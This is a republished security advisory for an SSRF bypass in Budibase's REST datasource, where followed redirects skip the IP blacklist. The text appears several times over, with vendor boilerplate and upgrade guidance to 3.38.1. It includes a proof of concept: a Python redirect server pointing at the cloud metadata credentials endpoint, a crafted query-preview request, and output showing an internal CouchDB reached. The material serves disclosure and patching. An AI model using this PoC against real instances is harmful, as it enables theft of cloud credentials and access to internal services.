### Summary The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed. ### Details **Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778 The `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: "manual"` option is set, so undici's fetch defaults to `redirect: "follow"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**. ```typescript // Line 754 — blacklist check on original URL only if (await blacklist.isBlacklisted(url)) { throw new Error("URL is blocked or could not be resolved safely.") } // Line 778 — fetch follows redirects, NO re-check on redirect target response = await fetch(url, input) ``` The automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: "manual"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper. Relevant prior fix commits on the automation side: - `6cfa3bcca3` — "fix(server): enforce outbound blacklist in webhook automation steps" - `e7d47625be` — "Fix automation webhook blacklist redirect bypass" ### PoC **Step 1 — Set up a redirect server (attacker-controlled):** ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` **Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.** **Step 3 — Preview a query:** ```http POST /api/queries/preview HTTP/1.1 Host: <budibase-instance> Content-Type: application/json Cookie: <builder-session> x-budibase-app-id: <app-id> { "datasourceId": "<rest-datasource-id>", "queryVerb": "read", "fields": { "path": "http://<attacker-ip>:8080/", "queryString": "", "headers": {}, "bodyType": "none", "requestBody": "" }, "parameters": [], "transformer": "return data", "name": "ssrf-test", "schema": {} } ``` **Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:** ```json { "rows": [{ "couchdb": "Welcome", "version": "3.3.3", "uuid": "a84d3353128485a22973a759df2387bc" }] } ``` Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active. ### Impact - **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens. - **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible - **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected. - **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.
### Summary The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed. ### Details **Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778 The `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: "manual"` option is set, so undici's fetch defaults to `redirect: "follow"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**. ```typescript // Line 754 — blacklist check on original URL only if (await blacklist.isBlacklisted(url)) { throw new Error("URL is blocked or could not be resolved safely.") } // Line 778 — fetch follows redirects, NO re-check on redirect target response = await fetch(url, input) ``` The automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: "manual"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper. Relevant prior fix commits on the automation side: - `6cfa3bcca3` — "fix(server): enforce outbound blacklist in webhook automation steps" - `e7d47625be` — "Fix automation webhook blacklist redirect bypass" ### PoC **Step 1 — Set up a redirect server (attacker-controlled):** ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` **Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.** **Step 3 — Preview a query:** ```http POST /api/queries/preview HTTP/1.1 Host: <budibase-instance> Content-Type: application/json Cookie: <builder-session> x-budibase-app-id: <app-id> { "datasourceId": "<rest-datasource-id>", "queryVerb": "read", "fields": { "path": "http://<attacker-ip>:8080/", "queryString": "", "headers": {}, "bodyType": "none", "requestBody": "" }, "parameters": [], "transformer": "return data", "name": "ssrf-test", "schema": {} } ``` **Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:** ```json { "rows": [{ "couchdb": "Welcome", "version": "3.3.3", "uuid": "a84d3353128485a22973a759df2387bc" }] } ``` Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active. ### Impact - **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens. - **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible - **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected. - **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.
Update @budibase/server to 3.38.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration affects @budibase/server (npm). Severity is high. ### Summary The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed. ### Details **Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778 The `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: "manual"` option is set, so undici's fetch defaults to `redirect: "follow"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**. ```typescript // Line 754 — blacklist check on original URL only if (await blacklist.isBlacklisted(url)) { throw new Error("URL is blocked or could not be resolved safely.") } // Line 778 — fetch follows redirects, NO re-check on redirect target response = await fetch(url, input) ``` The automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: "manual"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper. Relevant prior fix commits on the automation side: - `6cfa3bcca3` — "fix(server): enforce outbound blacklist in webhook automation steps" - `e7d47625be` — "Fix automation webhook blacklist redirect bypass" ### PoC **Step 1 — Set up a redirect server (attacker-controlled):** ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` **Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.** **Step 3 — Preview a query:** ```http POST /api/queries/preview HTTP/1.1 Host: <budibase-instance> Content-Type: application/json Cookie: <builder-session> x-budibase-app-id: <app-id> { "datasourceId": "<rest-datasource-id>", "queryVerb": "read", "fields": { "path": "http://<attacker-ip>:8080/", "queryString": "", "headers": {}, "bodyType": "none", "requestBody": "" }, "parameters": [], "transformer": "return data", "name": "ssrf-test", "schema": {} } ``` **Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:** ```json { "rows": [{ "couchdb": "Welcome", "version": "3.3.3", "uuid": "a84d3353128485a22973a759df2387bc" }] } ``` Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active. ### Impact - **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens. - **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible - **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected. - **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.38.1 | 3.38.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @budibase/server to 3.38.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration affects @budibase/server (npm). Severity is high. ### Summary The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed. ### Details **Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778 The `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: "manual"` option is set, so undici's fetch defaults to `redirect: "follow"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**. ```typescript // Line 754 — blacklist check on original URL only if (await blacklist.isBlacklisted(url)) { throw new Error("URL is blocked or could not be resolved safely.") } // Line 778 — fetch follows redirects, NO re-check on redirect target response = await fetch(url, input) ``` The automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: "manual"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper. Relevant prior fix commits on the automation side: - `6cfa3bcca3` — "fix(server): enforce outbound blacklist in webhook automation steps" - `e7d47625be` — "Fix automation webhook blacklist redirect bypass" ### PoC **Step 1 — Set up a redirect server (attacker-controlled):** ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` **Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.** **Step 3 — Preview a query:** ```http POST /api/queries/preview HTTP/1.1 Host: <budibase-instance> Content-Type: application/json Cookie: <builder-session> x-budibase-app-id: <app-id> { "datasourceId": "<rest-datasource-id>", "queryVerb": "read", "fields": { "path": "http://<attacker-ip>:8080/", "queryString": "", "headers": {}, "bodyType": "none", "requestBody": "" }, "parameters": [], "transformer": "return data", "name": "ssrf-test", "schema": {} } ``` **Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:** ```json { "rows": [{ "couchdb": "Welcome", "version": "3.3.3", "uuid": "a84d3353128485a22973a759df2387bc" }] } ``` Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active. ### Impact - **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens. - **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible - **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected. - **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.38.1 | 3.38.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard